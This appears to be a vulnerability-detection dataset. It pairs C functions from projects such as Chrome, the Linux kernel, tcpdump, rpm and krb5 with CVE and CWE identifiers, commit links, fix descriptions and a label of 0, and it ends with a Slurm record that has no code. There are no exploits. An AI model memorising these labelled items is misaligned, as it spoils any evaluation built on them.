Add missing shortcut keys to the keyboard overlay. This CL adds the following shortcuts to the keyboard overlay. * Alt - 1, Alt - 2, .., Alt - 8: go to the window at the specified position * Alt - 9: go to the last window open * Ctrl - Forward: switches focus to the next keyboard-accessible pane * Ctrl - Back: switches focus to the previous keyboard-accessible pane * Ctrl - Right: move the text cursor to the end of the next word * Ctrl - Left: move the text cursor to the start of the previous word * Ctrl - Alt - Z: enable or disable accessibility features * Ctrl - Shift - Maximize: take a screenshot of the selected region * Ctrl - Shift - O: open the Bookmark Manager I also deleted a duplicated entry of "Close window". BUG=chromium-os:17152 TEST=Manually checked on chromebook Review URL: http://codereview.chromium.org/7489040 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@93906 0039d316-1c4b-4281-b951-d872f2087c98
void KeyboardOverlayHandler::GetLabelMap(const ListValue* args) { DCHECK(profile_); PrefService* pref_service = profile_->GetPrefs(); typedef std::map<ModifierKey, ModifierKey> ModifierMap; ModifierMap modifier_map; modifier_map[chromeos::input_method::kSearchKey] = static_cast<ModifierKey>( pref_service->GetInteger(prefs::kLanguageXkbRemapSearchKeyTo)); modifier_map[chromeos::input_method::kLeftControlKey] = static_cast<ModifierKey>( pref_service->GetInteger(prefs::kLanguageXkbRemapControlKeyTo)); modifier_map[chromeos::input_method::kLeftAltKey] = static_cast<ModifierKey>( pref_service->GetInteger(prefs::kLanguageXkbRemapAltKeyTo)); DictionaryValue dict; for (ModifierMap::const_iterator i = modifier_map.begin(); i != modifier_map.end(); ++i) { dict.SetString(ModifierKeyToLabel(i->first), ModifierKeyToLabel(i->second)); } web_ui_->CallJavascriptFunction("initIdentifierMap", dict); }
void KeyboardOverlayHandler::GetLabelMap(const ListValue* args) { DCHECK(profile_); PrefService* pref_service = profile_->GetPrefs(); typedef std::map<ModifierKey, ModifierKey> ModifierMap; ModifierMap modifier_map; modifier_map[chromeos::input_method::kSearchKey] = static_cast<ModifierKey>( pref_service->GetInteger(prefs::kLanguageXkbRemapSearchKeyTo)); modifier_map[chromeos::input_method::kLeftControlKey] = static_cast<ModifierKey>( pref_service->GetInteger(prefs::kLanguageXkbRemapControlKeyTo)); modifier_map[chromeos::input_method::kLeftAltKey] = static_cast<ModifierKey>( pref_service->GetInteger(prefs::kLanguageXkbRemapAltKeyTo)); DictionaryValue dict; for (ModifierMap::const_iterator i = modifier_map.begin(); i != modifier_map.end(); ++i) { dict.SetString(ModifierKeyToLabel(i->first), ModifierKeyToLabel(i->second)); } web_ui_->CallJavascriptFunction("initIdentifierMap", dict); }
C
Chrome
0
CVE-2011-2858
https://www.cvedetails.com/cve/CVE-2011-2858/
CWE-119
https://github.com/chromium/chromium/commit/c13e1da62b5f5f0e6fe8c1f769a5a28415415244
c13e1da62b5f5f0e6fe8c1f769a5a28415415244
Revert "Revert 100494 - Fix bug in SimulateAttrib0.""" TEST=none BUG=95625 [email protected] Review URL: http://codereview.chromium.org/7796016 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@100507 0039d316-1c4b-4281-b951-d872f2087c98
error::Error GLES2DecoderImpl::HandleBindAttribLocationImmediate( uint32 immediate_data_size, const gles2::BindAttribLocationImmediate& c) { GLuint program = static_cast<GLuint>(c.program); ProgramManager::ProgramInfo* info = GetProgramInfoNotShader( program, "glBindAttribLocation"); if (!info) { return error::kNoError; } GLuint index = static_cast<GLuint>(c.index); uint32 name_size = c.data_size; const char* name = GetImmediateDataAs<const char*>( c, name_size, immediate_data_size); if (name == NULL) { return error::kOutOfBounds; } String name_str(name, name_size); glBindAttribLocation(info->service_id(), index, name_str.c_str()); return error::kNoError; }
error::Error GLES2DecoderImpl::HandleBindAttribLocationImmediate( uint32 immediate_data_size, const gles2::BindAttribLocationImmediate& c) { GLuint program = static_cast<GLuint>(c.program); ProgramManager::ProgramInfo* info = GetProgramInfoNotShader( program, "glBindAttribLocation"); if (!info) { return error::kNoError; } GLuint index = static_cast<GLuint>(c.index); uint32 name_size = c.data_size; const char* name = GetImmediateDataAs<const char*>( c, name_size, immediate_data_size); if (name == NULL) { return error::kOutOfBounds; } String name_str(name, name_size); glBindAttribLocation(info->service_id(), index, name_str.c_str()); return error::kNoError; }
C
Chrome
0
CVE-2015-3146
https://www.cvedetails.com/cve/CVE-2015-3146/
null
https://git.libssh.org/projects/libssh.git/commit/?h=libssh-0.6.5&id=94f6955fbaee6fda9385a23e505497efe21f5b4f
94f6955fbaee6fda9385a23e505497efe21f5b4f
null
static int ssh_server_kexdh_init(ssh_session session, ssh_buffer packet){ ssh_string e; e = buffer_get_ssh_string(packet); if (e == NULL) { ssh_set_error(session, SSH_FATAL, "No e number in client request"); return -1; } if (dh_import_e(session, e) < 0) { ssh_set_error(session, SSH_FATAL, "Cannot import e number"); session->session_state=SSH_SESSION_STATE_ERROR; } else { session->dh_handshake_state=DH_STATE_INIT_SENT; dh_handshake_server(session); } ssh_string_free(e); return SSH_OK; }
static int ssh_server_kexdh_init(ssh_session session, ssh_buffer packet){ ssh_string e; e = buffer_get_ssh_string(packet); if (e == NULL) { ssh_set_error(session, SSH_FATAL, "No e number in client request"); return -1; } if (dh_import_e(session, e) < 0) { ssh_set_error(session, SSH_FATAL, "Cannot import e number"); session->session_state=SSH_SESSION_STATE_ERROR; } else { session->dh_handshake_state=DH_STATE_INIT_SENT; dh_handshake_server(session); } ssh_string_free(e); return SSH_OK; }
C
libssh
0
CVE-2012-2862
https://www.cvedetails.com/cve/CVE-2012-2862/
CWE-399
https://github.com/chromium/chromium/commit/c4f40933f2cd7f975af63e56ea4cdcdc6c636f73
c4f40933f2cd7f975af63e56ea4cdcdc6c636f73
accelerators: Remove deprecated Accelerator ctor that takes booleans. BUG=128242 [email protected] Review URL: https://chromiumcodereview.appspot.com/10399085 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@137957 0039d316-1c4b-4281-b951-d872f2087c98
void set_accelerator_pressed_count(int accelerator_pressed_count) { accelerator_pressed_count_ = accelerator_pressed_count; }
void set_accelerator_pressed_count(int accelerator_pressed_count) { accelerator_pressed_count_ = accelerator_pressed_count; }
C
Chrome
0
CVE-2014-1742
https://www.cvedetails.com/cve/CVE-2014-1742/
CWE-399
https://github.com/chromium/chromium/commit/870f3e99a1282023753fe8d8aed90879cbc6838f
870f3e99a1282023753fe8d8aed90879cbc6838f
Tracing: Add support for PII whitelisting of individual trace event arguments R=dsinclair,shatch BUG=546093 Review URL: https://codereview.chromium.org/1415013003 Cr-Commit-Position: refs/heads/master@{#356690}
void FlushMonitoring(WaitableEvent* flush_complete_event) { TraceLog::GetInstance()->FlushButLeaveBufferIntact( base::Bind(&TraceEventTestFixture::OnTraceDataCollected, base::Unretained(static_cast<TraceEventTestFixture*>(this)), base::Unretained(flush_complete_event))); }
void FlushMonitoring(WaitableEvent* flush_complete_event) { TraceLog::GetInstance()->FlushButLeaveBufferIntact( base::Bind(&TraceEventTestFixture::OnTraceDataCollected, base::Unretained(static_cast<TraceEventTestFixture*>(this)), base::Unretained(flush_complete_event))); }
C
Chrome
0
CVE-2016-5219
https://www.cvedetails.com/cve/CVE-2016-5219/
CWE-416
https://github.com/chromium/chromium/commit/a4150b688a754d3d10d2ca385155b1c95d77d6ae
a4150b688a754d3d10d2ca385155b1c95d77d6ae
Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM This makes the query of GL_COMPLETION_STATUS_KHR to programs much cheaper by minimizing the round-trip to the GPU thread. Bug: 881152, 957001 Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630 Commit-Queue: Kenneth Russell <[email protected]> Reviewed-by: Kentaro Hara <[email protected]> Reviewed-by: Geoff Lang <[email protected]> Reviewed-by: Kenneth Russell <[email protected]> Cr-Commit-Position: refs/heads/master@{#657568}
bool GLES2Implementation::UpdateIndexedBufferState(GLenum target, GLuint index, GLuint buffer_id, const char* function_name) { switch (target) { case GL_ATOMIC_COUNTER_BUFFER: if (index >= static_cast<GLuint>( capabilities_.max_atomic_counter_buffer_bindings)) { SetGLError(GL_INVALID_VALUE, function_name, "index out of range"); return false; } bound_atomic_counter_buffer_ = buffer_id; break; case GL_TRANSFORM_FEEDBACK_BUFFER: if (index >= static_cast<GLuint>( capabilities_.max_transform_feedback_separate_attribs)) { SetGLError(GL_INVALID_VALUE, function_name, "index out of range"); return false; } bound_transform_feedback_buffer_ = buffer_id; break; case GL_SHADER_STORAGE_BUFFER: if (index >= static_cast<GLuint>( capabilities_.max_shader_storage_buffer_bindings)) { SetGLError(GL_INVALID_VALUE, function_name, "index out of range"); return false; } bound_shader_storage_buffer_ = buffer_id; break; case GL_UNIFORM_BUFFER: if (index >= static_cast<GLuint>(capabilities_.max_uniform_buffer_bindings)) { SetGLError(GL_INVALID_VALUE, function_name, "index out of range"); return false; } bound_uniform_buffer_ = buffer_id; break; default: SetGLError(GL_INVALID_ENUM, function_name, "invalid target"); return false; } return true; }
bool GLES2Implementation::UpdateIndexedBufferState(GLenum target, GLuint index, GLuint buffer_id, const char* function_name) { switch (target) { case GL_ATOMIC_COUNTER_BUFFER: if (index >= static_cast<GLuint>( capabilities_.max_atomic_counter_buffer_bindings)) { SetGLError(GL_INVALID_VALUE, function_name, "index out of range"); return false; } bound_atomic_counter_buffer_ = buffer_id; break; case GL_TRANSFORM_FEEDBACK_BUFFER: if (index >= static_cast<GLuint>( capabilities_.max_transform_feedback_separate_attribs)) { SetGLError(GL_INVALID_VALUE, function_name, "index out of range"); return false; } bound_transform_feedback_buffer_ = buffer_id; break; case GL_SHADER_STORAGE_BUFFER: if (index >= static_cast<GLuint>( capabilities_.max_shader_storage_buffer_bindings)) { SetGLError(GL_INVALID_VALUE, function_name, "index out of range"); return false; } bound_shader_storage_buffer_ = buffer_id; break; case GL_UNIFORM_BUFFER: if (index >= static_cast<GLuint>(capabilities_.max_uniform_buffer_bindings)) { SetGLError(GL_INVALID_VALUE, function_name, "index out of range"); return false; } bound_uniform_buffer_ = buffer_id; break; default: SetGLError(GL_INVALID_ENUM, function_name, "invalid target"); return false; } return true; }
C
Chrome
0
CVE-2011-2699
https://www.cvedetails.com/cve/CVE-2011-2699/
null
https://github.com/torvalds/linux/commit/87c48fa3b4630905f98268dde838ee43626a060c
87c48fa3b4630905f98268dde838ee43626a060c
ipv6: make fragment identifications less predictable IPv6 fragment identification generation is way beyond what we use for IPv4 : It uses a single generator. Its not scalable and allows DOS attacks. Now inetpeer is IPv6 aware, we can use it to provide a more secure and scalable frag ident generator (per destination, instead of system wide) This patch : 1) defines a new secure_ipv6_id() helper 2) extends inet_getid() to provide 32bit results 3) extends ipv6_select_ident() with a new dest parameter Reported-by: Fernando Gont <[email protected]> Signed-off-by: Eric Dumazet <[email protected]> Signed-off-by: David S. Miller <[email protected]>
static __init int seqgen_init(void) { rekey_seq_generator(NULL); return 0; }
static __init int seqgen_init(void) { rekey_seq_generator(NULL); return 0; }
C
linux
0
CVE-2016-1647
https://www.cvedetails.com/cve/CVE-2016-1647/
null
https://github.com/chromium/chromium/commit/e5787005a9004d7be289cc649c6ae4f3051996cd
e5787005a9004d7be289cc649c6ae4f3051996cd
Check that RWHI isn't deleted manually while owned by a scoped_ptr in RVHI BUG=590284 Review URL: https://codereview.chromium.org/1747183002 Cr-Commit-Position: refs/heads/master@{#378844}
void RenderWidgetHostImpl::StartNewContentRenderingTimeout() { if (received_paint_after_load_) { received_paint_after_load_ = false; return; } new_content_rendering_timeout_->Start(new_content_rendering_delay_); }
void RenderWidgetHostImpl::StartNewContentRenderingTimeout() { if (received_paint_after_load_) { received_paint_after_load_ = false; return; } new_content_rendering_timeout_->Start(new_content_rendering_delay_); }
C
Chrome
0
CVE-2014-1713
https://www.cvedetails.com/cve/CVE-2014-1713/
CWE-399
https://github.com/chromium/chromium/commit/f85a87ec670ad0fce9d98d90c9a705b72a288154
f85a87ec670ad0fce9d98d90c9a705b72a288154
document.location bindings fix BUG=352374 [email protected] Review URL: https://codereview.chromium.org/196343011 git-svn-id: svn://svn.chromium.org/blink/trunk@169176 bbb929c8-8fbe-4397-9dbb-9b2b20218538
static void reflectedTreatNullAsNullStringTreatUndefinedAsNullStringStringAttrAttributeSetter(v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info) { TestObject* imp = V8TestObject::toNative(info.Holder()); V8TRYCATCH_FOR_V8STRINGRESOURCE_VOID(V8StringResource<WithUndefinedOrNullCheck>, cppValue, jsValue); CustomElementCallbackDispatcher::CallbackDeliveryScope deliveryScope; imp->setAttribute(HTMLNames::reflectedtreatnullasnullstringtreatundefinedasnullstringstringattrAttr, cppValue); }
static void reflectedTreatNullAsNullStringTreatUndefinedAsNullStringStringAttrAttributeSetter(v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info) { TestObject* imp = V8TestObject::toNative(info.Holder()); V8TRYCATCH_FOR_V8STRINGRESOURCE_VOID(V8StringResource<WithUndefinedOrNullCheck>, cppValue, jsValue); CustomElementCallbackDispatcher::CallbackDeliveryScope deliveryScope; imp->setAttribute(HTMLNames::reflectedtreatnullasnullstringtreatundefinedasnullstringstringattrAttr, cppValue); }
C
Chrome
0
CVE-2017-13690
https://www.cvedetails.com/cve/CVE-2017-13690/
CWE-125
https://github.com/the-tcpdump-group/tcpdump/commit/8dca25d26c7ca2caf6138267f6f17111212c156e
8dca25d26c7ca2caf6138267f6f17111212c156e
CVE-2017-13690/IKEv2: Fix some bounds checks. Use a pointer of the correct type in ND_TCHECK(), or use ND_TCHECK2() and provide the correct length. While we're at it, remove the blank line between some checks and the UNALIGNED_MEMCPY()s they protect. Also, note the places where we print the entire payload. This fixes a buffer over-read discovered by Bhargava Shastry, SecT/TU Berlin. Add a test using the capture file supplied by the reporter(s).
cookie_record(cookie_t *in, const u_char *bp2) { int i; const struct ip *ip; const struct ip6_hdr *ip6; i = cookie_find(in); if (0 <= i) { ninitiator = (i + 1) % MAXINITIATORS; return; } ip = (const struct ip *)bp2; switch (IP_V(ip)) { case 4: cookiecache[ninitiator].version = 4; UNALIGNED_MEMCPY(&cookiecache[ninitiator].iaddr.in4, &ip->ip_src, sizeof(struct in_addr)); UNALIGNED_MEMCPY(&cookiecache[ninitiator].raddr.in4, &ip->ip_dst, sizeof(struct in_addr)); break; case 6: ip6 = (const struct ip6_hdr *)bp2; cookiecache[ninitiator].version = 6; UNALIGNED_MEMCPY(&cookiecache[ninitiator].iaddr.in6, &ip6->ip6_src, sizeof(struct in6_addr)); UNALIGNED_MEMCPY(&cookiecache[ninitiator].raddr.in6, &ip6->ip6_dst, sizeof(struct in6_addr)); break; default: return; } UNALIGNED_MEMCPY(&cookiecache[ninitiator].initiator, in, sizeof(*in)); ninitiator = (ninitiator + 1) % MAXINITIATORS; }
cookie_record(cookie_t *in, const u_char *bp2) { int i; const struct ip *ip; const struct ip6_hdr *ip6; i = cookie_find(in); if (0 <= i) { ninitiator = (i + 1) % MAXINITIATORS; return; } ip = (const struct ip *)bp2; switch (IP_V(ip)) { case 4: cookiecache[ninitiator].version = 4; UNALIGNED_MEMCPY(&cookiecache[ninitiator].iaddr.in4, &ip->ip_src, sizeof(struct in_addr)); UNALIGNED_MEMCPY(&cookiecache[ninitiator].raddr.in4, &ip->ip_dst, sizeof(struct in_addr)); break; case 6: ip6 = (const struct ip6_hdr *)bp2; cookiecache[ninitiator].version = 6; UNALIGNED_MEMCPY(&cookiecache[ninitiator].iaddr.in6, &ip6->ip6_src, sizeof(struct in6_addr)); UNALIGNED_MEMCPY(&cookiecache[ninitiator].raddr.in6, &ip6->ip6_dst, sizeof(struct in6_addr)); break; default: return; } UNALIGNED_MEMCPY(&cookiecache[ninitiator].initiator, in, sizeof(*in)); ninitiator = (ninitiator + 1) % MAXINITIATORS; }
C
tcpdump
0
CVE-2017-7501
https://www.cvedetails.com/cve/CVE-2017-7501/
CWE-59
https://github.com/rpm-software-management/rpm/commit/404ef011c300207cdb1e531670384564aae04bdc
404ef011c300207cdb1e531670384564aae04bdc
Don't follow symlinks on file creation (CVE-2017-7501) Open newly created files with O_EXCL to prevent symlink tricks. When reopening hardlinks for writing the actual content, use append mode instead. This is compatible with the write-only permissions but is not destructive in case we got redirected to somebody elses file, verify the target before actually writing anything. As these are files with the temporary suffix, errors mean a local user with sufficient privileges to break the installation of the package anyway is trying to goof us on purpose, don't bother trying to mend it (we couldn't fix the hardlink case anyhow) but just bail out. Based on a patch by Florian Festi.
static int fsmChown(const char *path, mode_t mode, uid_t uid, gid_t gid) { int rc = S_ISLNK(mode) ? lchown(path, uid, gid) : chown(path, uid, gid); if (rc < 0) { struct stat st; if (lstat(path, &st) == 0 && st.st_uid == uid && st.st_gid == gid) rc = 0; } if (_fsm_debug) rpmlog(RPMLOG_DEBUG, " %8s (%s, %d, %d) %s\n", __func__, path, (int)uid, (int)gid, (rc < 0 ? strerror(errno) : "")); if (rc < 0) rc = RPMERR_CHOWN_FAILED; return rc; }
static int fsmChown(const char *path, mode_t mode, uid_t uid, gid_t gid) { int rc = S_ISLNK(mode) ? lchown(path, uid, gid) : chown(path, uid, gid); if (rc < 0) { struct stat st; if (lstat(path, &st) == 0 && st.st_uid == uid && st.st_gid == gid) rc = 0; } if (_fsm_debug) rpmlog(RPMLOG_DEBUG, " %8s (%s, %d, %d) %s\n", __func__, path, (int)uid, (int)gid, (rc < 0 ? strerror(errno) : "")); if (rc < 0) rc = RPMERR_CHOWN_FAILED; return rc; }
C
rpm
0
CVE-2018-10191
https://www.cvedetails.com/cve/CVE-2018-10191/
CWE-190
https://github.com/mruby/mruby/commit/1905091634a6a2925c911484434448e568330626
1905091634a6a2925c911484434448e568330626
Check length of env stack before accessing upvar; fix #3995
mrb_funcall_argv(mrb_state *mrb, mrb_value self, mrb_sym mid, mrb_int argc, const mrb_value *argv) { return mrb_funcall_with_block(mrb, self, mid, argc, argv, mrb_nil_value()); }
mrb_funcall_argv(mrb_state *mrb, mrb_value self, mrb_sym mid, mrb_int argc, const mrb_value *argv) { return mrb_funcall_with_block(mrb, self, mid, argc, argv, mrb_nil_value()); }
C
mruby
0
CVE-2011-2918
https://www.cvedetails.com/cve/CVE-2011-2918/
CWE-399
https://github.com/torvalds/linux/commit/a8b0ca17b80e92faab46ee7179ba9e99ccb61233
a8b0ca17b80e92faab46ee7179ba9e99ccb61233
perf: Remove the nmi parameter from the swevent and overflow interface The nmi parameter indicated if we could do wakeups from the current context, if not, we would set some state and self-IPI and let the resulting interrupt do the wakeup. For the various event classes: - hardware: nmi=0; PMI is in fact an NMI or we run irq_work_run from the PMI-tail (ARM etc.) - tracepoint: nmi=0; since tracepoint could be from NMI context. - software: nmi=[0,1]; some, like the schedule thing cannot perform wakeups, and hence need 0. As one can see, there is very little nmi=1 usage, and the down-side of not using it is that on some platforms some software events can have a jiffy delay in wakeup (when arch_irq_work_raise isn't implemented). The up-side however is that we can remove the nmi parameter and save a bunch of conditionals in fast paths. Signed-off-by: Peter Zijlstra <[email protected]> Cc: Michael Cree <[email protected]> Cc: Will Deacon <[email protected]> Cc: Deng-Cheng Zhu <[email protected]> Cc: Anton Blanchard <[email protected]> Cc: Eric B Munson <[email protected]> Cc: Heiko Carstens <[email protected]> Cc: Paul Mundt <[email protected]> Cc: David S. Miller <[email protected]> Cc: Frederic Weisbecker <[email protected]> Cc: Jason Wessel <[email protected]> Cc: Don Zickus <[email protected]> Link: http://lkml.kernel.org/n/[email protected] Signed-off-by: Ingo Molnar <[email protected]>
static int ttwu_remote(struct task_struct *p, int wake_flags) { struct rq *rq; int ret = 0; rq = __task_rq_lock(p); if (p->on_rq) { ttwu_do_wakeup(rq, p, wake_flags); ret = 1; } __task_rq_unlock(rq); return ret; }
static int ttwu_remote(struct task_struct *p, int wake_flags) { struct rq *rq; int ret = 0; rq = __task_rq_lock(p); if (p->on_rq) { ttwu_do_wakeup(rq, p, wake_flags); ret = 1; } __task_rq_unlock(rq); return ret; }
C
linux
0
CVE-2013-1415
https://www.cvedetails.com/cve/CVE-2013-1415/
null
https://github.com/krb5/krb5/commit/f249555301940c6df3a2cdda13b56b5674eebc2e
f249555301940c6df3a2cdda13b56b5674eebc2e
PKINIT null pointer deref [CVE-2013-1415] Don't dereference a null pointer when cleaning up. The KDC plugin for PKINIT can dereference a null pointer when a malformed packet causes processing to terminate early, leading to a crash of the KDC process. An attacker would need to have a valid PKINIT certificate or have observed a successful PKINIT authentication, or an unauthenticated attacker could execute the attack if anonymous PKINIT is enabled. CVSSv2 vector: AV:N/AC:M/Au:N/C:N/I:N/A:C/E:P/RL:O/RC:C This is a minimal commit for pullup; style fixes in a followup. [[email protected]: reformat and edit commit message] (cherry picked from commit c773d3c775e9b2d88bcdff5f8a8ba88d7ec4e8ed) ticket: 7570 version_fixed: 1.11.1 status: resolved
crypto_cert_iteration_next(krb5_context context, pkinit_cert_iter_handle ih, pkinit_cert_handle *ch_ret) { struct _pkinit_cert_iter_data *id = (struct _pkinit_cert_iter_data *)ih; struct _pkinit_cert_data *cd; pkinit_identity_crypto_context id_cryptoctx; if (id == NULL || id->magic != ITER_MAGIC) return EINVAL; if (ch_ret == NULL) return EINVAL; id_cryptoctx = id->idctx; if (id_cryptoctx == NULL) return EINVAL; if (id_cryptoctx->creds[id->index] == NULL) return PKINIT_ITER_NO_MORE; cd = calloc(1, sizeof(*cd)); if (cd == NULL) return ENOMEM; cd->magic = CERT_MAGIC; cd->plgctx = id->plgctx; cd->reqctx = id->reqctx; cd->idctx = id->idctx; cd->index = id->index; cd->cred = id_cryptoctx->creds[id->index++]; *ch_ret = (pkinit_cert_handle)cd; return 0; }
crypto_cert_iteration_next(krb5_context context, pkinit_cert_iter_handle ih, pkinit_cert_handle *ch_ret) { struct _pkinit_cert_iter_data *id = (struct _pkinit_cert_iter_data *)ih; struct _pkinit_cert_data *cd; pkinit_identity_crypto_context id_cryptoctx; if (id == NULL || id->magic != ITER_MAGIC) return EINVAL; if (ch_ret == NULL) return EINVAL; id_cryptoctx = id->idctx; if (id_cryptoctx == NULL) return EINVAL; if (id_cryptoctx->creds[id->index] == NULL) return PKINIT_ITER_NO_MORE; cd = calloc(1, sizeof(*cd)); if (cd == NULL) return ENOMEM; cd->magic = CERT_MAGIC; cd->plgctx = id->plgctx; cd->reqctx = id->reqctx; cd->idctx = id->idctx; cd->index = id->index; cd->cred = id_cryptoctx->creds[id->index++]; *ch_ret = (pkinit_cert_handle)cd; return 0; }
C
krb5
0
CVE-2014-1700
https://www.cvedetails.com/cve/CVE-2014-1700/
CWE-399
https://github.com/chromium/chromium/commit/685c3980d31b5199924086b8c93a1ce751d24733
685c3980d31b5199924086b8c93a1ce751d24733
content: Rename webkit_test_helpers.{cc,h} to blink_test_helpers.{cc,h} Now that webkit/ is gone, we are preparing ourselves for the merge of third_party/WebKit into //blink. BUG=None BUG=content_shell && content_unittests [email protected] Review URL: https://codereview.chromium.org/1118183003 Cr-Commit-Position: refs/heads/master@{#328202}
void BlinkTestRunner::SetScreenOrientation( const WebScreenOrientationType& orientation) { MockScreenOrientationClient* mock_client = proxy()->GetScreenOrientationClientMock(); mock_client->UpdateDeviceOrientation( render_view()->GetWebView()->mainFrame()->toWebLocalFrame(), orientation); }
void BlinkTestRunner::SetScreenOrientation( const WebScreenOrientationType& orientation) { MockScreenOrientationClient* mock_client = proxy()->GetScreenOrientationClientMock(); mock_client->UpdateDeviceOrientation( render_view()->GetWebView()->mainFrame()->toWebLocalFrame(), orientation); }
C
Chrome
0
CVE-2017-17858
https://www.cvedetails.com/cve/CVE-2017-17858/
CWE-119
http://git.ghostscript.com/?p=mupdf.git;a=commit;h=55c3f68d638ac1263a386e0aaa004bb6e8bde731
55c3f68d638ac1263a386e0aaa004bb6e8bde731
null
pdf_load_object(fz_context *ctx, pdf_document *doc, int num) { pdf_xref_entry *entry = pdf_cache_object(ctx, doc, num); assert(entry->obj != NULL); return pdf_keep_obj(ctx, entry->obj); }
pdf_load_object(fz_context *ctx, pdf_document *doc, int num) { pdf_xref_entry *entry = pdf_cache_object(ctx, doc, num); assert(entry->obj != NULL); return pdf_keep_obj(ctx, entry->obj); }
C
ghostscript
0
CVE-2018-20855
https://www.cvedetails.com/cve/CVE-2018-20855/
CWE-119
https://github.com/torvalds/linux/commit/0625b4ba1a5d4703c7fb01c497bd6c156908af00
0625b4ba1a5d4703c7fb01c497bd6c156908af00
IB/mlx5: Fix leaking stack memory to userspace mlx5_ib_create_qp_resp was never initialized and only the first 4 bytes were written. Fixes: 41d902cb7c32 ("RDMA/mlx5: Fix definition of mlx5_ib_create_qp_resp") Cc: <[email protected]> Acked-by: Leon Romanovsky <[email protected]> Signed-off-by: Jason Gunthorpe <[email protected]>
int mlx5_ib_destroy_wq(struct ib_wq *wq) { struct mlx5_ib_dev *dev = to_mdev(wq->device); struct mlx5_ib_rwq *rwq = to_mrwq(wq); mlx5_core_destroy_rq_tracked(dev->mdev, &rwq->core_qp); destroy_user_rq(dev, wq->pd, rwq); kfree(rwq); return 0; }
int mlx5_ib_destroy_wq(struct ib_wq *wq) { struct mlx5_ib_dev *dev = to_mdev(wq->device); struct mlx5_ib_rwq *rwq = to_mrwq(wq); mlx5_core_destroy_rq_tracked(dev->mdev, &rwq->core_qp); destroy_user_rq(dev, wq->pd, rwq); kfree(rwq); return 0; }
C
linux
0
CVE-2014-3690
https://www.cvedetails.com/cve/CVE-2014-3690/
CWE-399
https://github.com/torvalds/linux/commit/d974baa398f34393db76be45f7d4d04fbdbb4a0a
d974baa398f34393db76be45f7d4d04fbdbb4a0a
x86,kvm,vmx: Preserve CR4 across VM entry CR4 isn't constant; at least the TSD and PCE bits can vary. TBH, treating CR0 and CR3 as constant scares me a bit, too, but it looks like it's correct. This adds a branch and a read from cr4 to each vm entry. Because it is extremely likely that consecutive entries into the same vcpu will have the same host cr4 value, this fixes up the vmcs instead of restoring cr4 after the fact. A subsequent patch will add a kernel-wide cr4 shadow, reducing the overhead in the common case to just two memory reads and a branch. Signed-off-by: Andy Lutomirski <[email protected]> Acked-by: Paolo Bonzini <[email protected]> Cc: [email protected] Cc: Petr Matousek <[email protected]> Cc: Gleb Natapov <[email protected]> Signed-off-by: Linus Torvalds <[email protected]>
static bool vmx_mpx_supported(void) { return (vmcs_config.vmexit_ctrl & VM_EXIT_CLEAR_BNDCFGS) && (vmcs_config.vmentry_ctrl & VM_ENTRY_LOAD_BNDCFGS); }
static bool vmx_mpx_supported(void) { return (vmcs_config.vmexit_ctrl & VM_EXIT_CLEAR_BNDCFGS) && (vmcs_config.vmentry_ctrl & VM_ENTRY_LOAD_BNDCFGS); }
C
linux
0
CVE-2018-17468
https://www.cvedetails.com/cve/CVE-2018-17468/
CWE-200
https://github.com/chromium/chromium/commit/5fe74f831fddb92afa5ddfe46490bb49f083132b
5fe74f831fddb92afa5ddfe46490bb49f083132b
Do not forward resource timing to parent frame after back-forward navigation LocalFrame has |should_send_resource_timing_info_to_parent_| flag not to send timing info to parent except for the first navigation. This flag is cleared when the first timing is sent to parent, however this does not happen if iframe's first navigation was by back-forward navigation. For such iframes, we shouldn't send timings to parent at all. Bug: 876822 Change-Id: I128b51a82ef278c439548afc8283ae63abdef5c5 Reviewed-on: https://chromium-review.googlesource.com/1186215 Reviewed-by: Kinuko Yasuda <[email protected]> Commit-Queue: Kunihiko Sakamoto <[email protected]> Cr-Commit-Position: refs/heads/master@{#585736}
bool FrameFetchContext::IsFirstPartyOrigin(const KURL& url) const { if (IsDetached()) return false; return GetFrame() ->Tree() .Top() .GetSecurityContext() ->GetSecurityOrigin() ->IsSameSchemeHostPort(SecurityOrigin::Create(url).get()); }
bool FrameFetchContext::IsFirstPartyOrigin(const KURL& url) const { if (IsDetached()) return false; return GetFrame() ->Tree() .Top() .GetSecurityContext() ->GetSecurityOrigin() ->IsSameSchemeHostPort(SecurityOrigin::Create(url).get()); }
C
Chrome
0
CVE-2018-17476
https://www.cvedetails.com/cve/CVE-2018-17476/
CWE-20
https://github.com/chromium/chromium/commit/3d41e77125f3de8d722b6d8303599abaf2a91667
3d41e77125f3de8d722b6d8303599abaf2a91667
If a dialog is shown, drop fullscreen. BUG=875066, 817809, 792876, 812769, 813815 TEST=included Change-Id: Ic3d697fa3c4b01f5d7fea77391857177ada660db Reviewed-on: https://chromium-review.googlesource.com/1185208 Reviewed-by: Sidney San Martín <[email protected]> Commit-Queue: Avi Drissman <[email protected]> Cr-Commit-Position: refs/heads/master@{#586418}
void Resize() { if (wcv_resize_insets_.IsEmpty()) return; gfx::Rect bounds(browser_window_->GetBounds()); gfx::Size size(bounds.size()); size.Enlarge(wcv_resize_insets_.width(), wcv_resize_insets_.height()); bounds.set_size(size); browser_window_->SetBounds(bounds); content::RunAllPendingInMessageLoop(); }
void Resize() { if (wcv_resize_insets_.IsEmpty()) return; gfx::Rect bounds(browser_window_->GetBounds()); gfx::Size size(bounds.size()); size.Enlarge(wcv_resize_insets_.width(), wcv_resize_insets_.height()); bounds.set_size(size); browser_window_->SetBounds(bounds); content::RunAllPendingInMessageLoop(); }
C
Chrome
0
CVE-2016-10030
https://www.cvedetails.com/cve/CVE-2016-10030/
CWE-284
https://github.com/SchedMD/slurm/commit/92362a92fffe60187df61f99ab11c249d44120ee
92362a92fffe60187df61f99ab11c249d44120ee
Fix security issue in _prolog_error(). Fix security issue caused by insecure file path handling triggered by the failure of a Prolog script. To exploit this a user needs to anticipate or cause the Prolog to fail for their job. (This commit is slightly different from the fix to the 15.08 branch.) CVE-2016-10030.
